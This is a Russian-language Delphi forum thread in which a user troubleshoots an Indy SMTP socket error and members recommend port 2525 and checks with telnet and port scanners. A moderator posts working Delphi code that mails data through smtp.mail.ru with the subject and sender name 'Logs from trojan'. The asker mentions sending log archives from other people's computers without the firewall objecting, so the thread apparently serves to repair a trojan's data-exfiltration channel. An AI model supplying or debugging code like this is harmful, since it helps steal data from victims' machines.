Четверг, 28.03.2024, 20:15 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 2
  • 1
  • 2
  • »
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024  
delphicode » Delphi » Вопросы по Delphi » Socket Error при отправке почты IdSMTP (indy)
Socket Error при отправке почты IdSMTP
Don_DiegoДата: Вторник, 18.09.2012, 23:16 | Сообщение # 1
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Что-то старые исходники не с того не с сего перестали работать. А именно возникает ошибка "Socket Error # 10060 Connection timed out." при попытке законнектится на сервер mail.ru для отправки логов через IdSMTP.
Кто сталкивался с таким? Весь интернет перерыл, но толкового решения так и не нашел... В коде не менялось и байта.
 
Волк-1024Дата: Среда, 19.09.2012, 00:16 | Сообщение # 2
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
Так ведь на мыле вроде сменили то-ли протокол, то-ли систему шифрования данных. Вот, наверное, и не коннектится. Недавно новость где-то читал.
 
DelДата: Среда, 19.09.2012, 17:20 | Сообщение # 3
Участник
Зарегистрирован: 20.08.2012
Группа: Пользователи
Сообщений: 69
Статус: Offline
Quote (Don_Diego)
Что-то старые исходники не с того не с сего перестали работать. А именно возникает ошибка "Socket Error # 10060 Connection timed out." при попытке законнектится на сервер mail.ru для отправки логов через IdSMTP.
Кто сталкивался с таким? Весь интернет перерыл, но толкового решения так и не нашел... В коде не менялось и байта.

у меня были ошибки сокетов при создания "яндекс-клиента" я просто поменял порт с 25 на 585(а может и на575 или 587...не помню). а у тебя пишет, что истекло время подсоединения. Можно и так: когда конектишься не указывай, кол-во секунд, за которые должен компонент конектиться к серверу.
PS выложи исходник .
 
Don_DiegoДата: Среда, 19.09.2012, 18:20 | Сообщение # 4
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Del, уже делал и с задержкой в миллисекундах и без - результат тот же. А если поменять порт оно законектится??? Бррр, запутался я немного.
Волк-1024, это больше похоже на правду. Ни с того ни с сего перестать работать программа не может, тоже мысли были что это у них что-то.

Сейчас спешу, исходник выложу чуть попозже...
 
Don_DiegoДата: Среда, 19.09.2012, 22:32 | Сообщение # 5
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Вот и исходник...


Сообщение отредактировал Don_Diego - Среда, 19.09.2012, 22:40
 
xXxSh@dowxXxДата: Четверг, 20.09.2012, 09:29 | Сообщение # 6
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Don_Diego, попробуй вот так у меня работает нормально...



PS: и 25 порт тут ни при чем, этот порт был сделан с самых основ майла и до сих пор от него не отказывается никто, как разработчики ПО так и сам почтовый сервис, а вот для того что бы приаттачить что либо возможно понадобится другой порт как говорил Del, я еще не пробывал что то аттачить на майл так как мне это без надобности...

если хочешь логи писать в тело письма, как собственно я и делал, просто выдергни из файла лога текст и коперни его себе в letter.Body.Text через буфер или через какой нить memo1 например


Сообщение отредактировал xXxSh@dowxXx - Пятница, 21.09.2012, 11:30
 
Don_DiegoДата: Четверг, 20.09.2012, 23:39 | Сообщение # 7
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
xXxSh@dowxXx, Спасибо за код. Сейчас проверить не могу, только домой попал, завтра снова все в побегах... Как только проверю - сразу отпишусь.
 
dolphinДата: Пятница, 21.09.2012, 13:55 | Сообщение # 8
Администратор
Сообщений: 906
Статус: Offline
Don_Diego, А версия Delphi и InDy какая? У меня на Delphi XE2 и InDy 10.5.8.0 всё работает.
 
DelДата: Пятница, 21.09.2012, 17:15 | Сообщение # 9
Участник
Зарегистрирован: 20.08.2012
Группа: Пользователи
Сообщений: 69
Статус: Offline
Quote (dolphin)
У меня на Delphi XE2 и InDy 10.5.8.0 всё работает.

для отправки обычного письма сойдёт библиотека инди из обычной 7 дельфи, а чтобы что ни будь при крепить к письму нужна 10 версия инди и выше.
 
C@TДата: Пятница, 21.09.2012, 20:48 | Сообщение # 10
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
попробуй порт вместо 25 заюзать 2525, а вообще правильность проверить конектится ли твой комп к smtp.mail ru можно через консоль, просто напиши "telnet smtp.mail.ru 25"(без кавычек) smile
 
xXxSh@dowxXxДата: Пятница, 21.09.2012, 21:17 | Сообщение # 11
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (C@T)
а вообще правильность проверить конектится ли твой комп к smtp.mail ru можно через консоль, просто напиши "telnet smtp.mail.ru 25"(без кавычек)


Совершенно верно wink
 
Don_DiegoДата: Воскресенье, 23.09.2012, 02:25 | Сообщение # 12
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
dolphin, Delphi 7 Enterprise, версия Инди 9.00.10. Но повторюсь - все работало, до недавнего времени.

C@T, через telnet коннектит

Но исходник еще не проверял, вот буквально на минуту заскочил посреди ночи в интернет.
 
Don_DiegoДата: Понедельник, 24.09.2012, 17:59 | Сообщение # 13
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Помогла смена порта. Спасибо за советы Del и C@T.

xXxSh@dowxXx, а ты прислушайся к таким моментам, все же смена порта как видно помогла. Но вопрос остается еще открытым: почему так?
 
DelДата: Понедельник, 24.09.2012, 19:53 | Сообщение # 14
Участник
Зарегистрирован: 20.08.2012
Группа: Пользователи
Сообщений: 69
Статус: Offline
Quote (Don_Diego)
Помогла смена порта

а какой именно порт работает?
 
Don_DiegoДата: Понедельник, 24.09.2012, 22:08 | Сообщение # 15
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Del, такой как написал C@T, 2525, только я еще никак не пойму почему на 25-м перестало работать, причем раньше же работало!
 
xXxSh@dowxXxДата: Вторник, 25.09.2012, 10:00 | Сообщение # 16
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (Don_Diego)
xXxSh@dowxXx, а ты прислушайся к таким моментам, все же смена порта как видно помогла. Но вопрос остается еще открытым: почему так?


Don_Diego, а вот этот код пробовал?

Code

             procedure TForm1.Button1Click(Sender: TObject);               
                 var               
                      smtp: TIDSMTP;               
                      letter: TIDMessage;               
                 begin               
                      smtp:=TIDSMTP.Create(nil);               
                      smtp.AuthenticationType:=atLogin;               
                      smtp.Port:= 25;               
                      smtp.Host:= 'smtp.mail.ru';               
                      smtp.Username:= 'blablabla'; //логин               
                      smtp.Password:= '123456'; // пароль               
                      letter:=TIDMessage.Create(nil);               
                      letter.Subject:= 'Logs from trojan';               
                      letter.Body.Text:= 'logs';               
                      letter.From.Text:= 'blablabla@mail.ru'; // от кого письмо               
                      letter.From.Name:= 'Logs from trojan';               
                      letter.Recipients.EMailAddresses:= 'moi@mail.ru'; //майл получателя               
                      smtp.Connect();               
                      if smtp.Connected = True then               
                        begin               
                          smtp.Send(letter);               
                          smtp.Disconnect;               
                        end;               
                    end;               
             end.


У меня например он работает отлично, без каких либо проблем, и без прикрепления файлов к письму, и именно на 25 порту...!

Почему у тебя не хочет работать я не представляю, хотя могу предположить что когда то очень очень давно, в тот день когда Гордый, но Очень Зоркий птица ОРЕЛъ...,ой это уже другая история biggrin
...так о чем это я, ах да, возможно у тебя какая то программка заняла в свое время, так "случайно", этот самый 25й порт и висит на нем постоянно, либо в тот момент когда ты проверяешь свой код у тебя другая программа занимает 25й порт, либо фаер его когда то давно заблочил, хотя если телнет работает, но не факт что фаер при заблоченном порте откинет такое системное приложение как telnet, либо антивирус что то чудит, причин может быть не мало, ток хз почему так могло произойти, а вобще 25й исключительно почтовый порт, и при написании программ это всегда учитывается, он не должен заниматься попросту, во всяком случае не помешало бы проверить...

Еще раз подчеркиваю - у меня мой код работает без проблем и думаю не только у меня, но при условии что мы не используем прикрепление файлов к письму,так как я этого на 25м порту не проверял!

И все же я считаю что такого рода проблемы простой сменой порта не решаются, так как можно кучу портов перебрать пока они все у тебя не перестанут работать, нужно мыслить в корень и найти причину по которой у тебя перестал работать 25й порт иначе все напрасно wink


Сообщение отредактировал xXxSh@dowxXx - Вторник, 25.09.2012, 10:18
 
Don_DiegoДата: Вторник, 25.09.2012, 12:04 | Сообщение # 17
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
xXxSh@dowxXx, ну скажем так, твой код практически не отличается от моего, за исключением что у меня отправка файла идет, а у тебя нет. Мне не подходит тело файла впихивать в письмо, потому что такие архивчики порой до 2-х Мб занимают. Но вот что у меня сказало по твоему коду:

Но скажу еще раз: всегда все работало, на всех ОС. И вдруг... Ни на моем компьютере, ни на чужом, не ни XP не на 7 - перестало работать. Загадка прям какая-то wacko Файрволл только системный, но он не ругался на отправку логов ( blink ) , антивирус не стоит, почтовых клиентов тоже нету. Вот и думай теперь...
Действительно причину нужно выяснить, потому что нету гарантии что в будущем опять это не повториться.


Сообщение отредактировал Don_Diego - Вторник, 25.09.2012, 12:11
 
xXxSh@dowxXxДата: Вторник, 25.09.2012, 14:47 | Сообщение # 18
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (Don_Diego)
Ни на моем компьютере, ни на чужом, не ни XP не на 7 - перестало работать. Загадка прям какая-то. Файрволл только системный, но он не ругался на отправку логов, антивирус не стоит, почтовых клиентов тоже нету. Вот и думай теперь...


Да.., действительно странно, очень странно... huh


Сообщение отредактировал xXxSh@dowxXx - Вторник, 25.09.2012, 14:50
 
DelДата: Вторник, 25.09.2012, 17:05 | Сообщение # 19
Участник
Зарегистрирован: 20.08.2012
Группа: Пользователи
Сообщений: 69
Статус: Offline
Quote (xXxSh@dowxXx)
этот самый 25й порт и висит на нем постоянно,

у меня ни антивиров и файрволов нет. а 25 не работает.
 
Don_DiegoДата: Вторник, 25.09.2012, 17:32 | Сообщение # 20
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Del, аналогично...
 
xXxSh@dowxXxДата: Вторник, 25.09.2012, 18:51 | Сообщение # 21
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Неужели только у меня одного работает 25й порт, ну это же бред, не так ли? biggrin
 
Don_DiegoДата: Вторник, 25.09.2012, 20:30 | Сообщение # 22
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Ого... Вот тут http://2ip.ru/check-port/?PHPSESSID=57d619949fcbafff05624dacb5e4ca31 пишет что Порт закрыт. Странно, на XP тоже самое. Может это просто провайдер его блочит?

Сообщение отредактировал Don_Diego - Вторник, 25.09.2012, 20:30
 
xXxSh@dowxXxДата: Вторник, 25.09.2012, 20:58 | Сообщение # 23
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Don_Diego, нет, эта проверка показывает активность портов, то есть если какая то программа начинает использовать этот порт то следовательно она его открывает, а как только программа завершает свою работу то и порт закрывается, у меня так же пишет что порт закрыт и это так и должно быть, у вас проблема в другом, а именно в том что на сколько я понял у вас порт вобще не открывается да же при обращении к нему, точнее да же не так, вот у тебя Don_Diego порт открывается, иначе telnet бы врят ли заработал, но как ни странно открывается не для всех программ, а походу только для служб винды или проверенных, почему обычные программы не могут у тебя его открыть я не могу понять...

Как вариант могу предположить что вы входите в сеть через роутер\switch\модем за NAT в таком случае можно поискать проблему в настройках самого роутера, возможно по каким то причинам он перестал автоматически перебрасывать этот порт...

Прочитал только что в Googl'e что некоторые провайдеры по каким то своим соображениям безопасности или еще чего, блочат некоторые порты в том числе и 25й, например провайдер "Акадо"...

А вот собственно нашел и один способ для проверки на работу порта:
Идем вот сюда и проверяем:

в первом окне там где "IP address or host name:" пишем "smtp.mail.ru" (без ковычек), а во втором там где порт пишем "25" и если open то все путем, а если close то он заблочен либо на твое машине, либо на рутере, либо у провайдера.


Сообщение отредактировал xXxSh@dowxXx - Вторник, 25.09.2012, 21:16
 
Don_DiegoДата: Вторник, 25.09.2012, 21:17 | Сообщение # 24
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
xXxSh@dowxXx, пожалуйста, не нужно на Вы, не привычно слишком ))

Сейчас проверил http://2ip.ru/port-scaner/, на данный момент открыты 2 порта: 80-й и 443-й, тоесть действительно показывает только активные порты. Роутера у меня нету - обычный 2G-модем (через телефон). Провайдер у меня в лице оператора сотовой связи biggrin
Надо сейчас на сайте оператора задать вопрос по поводу 25-го порта, посмотрим что скажут...

Тест показал что smtp.mail.ru:25 port is open


Сообщение отредактировал Don_Diego - Вторник, 25.09.2012, 21:18
 
xXxSh@dowxXxДата: Вторник, 25.09.2012, 21:19 | Сообщение # 25
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (Don_Diego)
Тест показал что smtp.mail.ru:25 port is open


тогда все должно работать, очень странно, даже слишком wacko

быть может этот тест проверяет открыт ли указанный порт на указанном хосте, тогда да, естественно он на smtp.mail.ru открыт...
в таком случае нада снифером тестить, на мой взгляд самый надежный вариант, тогда он точно покажет есть коннект или нету...


Сообщение отредактировал xXxSh@dowxXx - Вторник, 25.09.2012, 21:21
 
delphicode » Delphi » Вопросы по Delphi » Socket Error при отправке почты IdSMTP (indy)
  • Страница 1 из 2
  • 1
  • 2
  • »
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz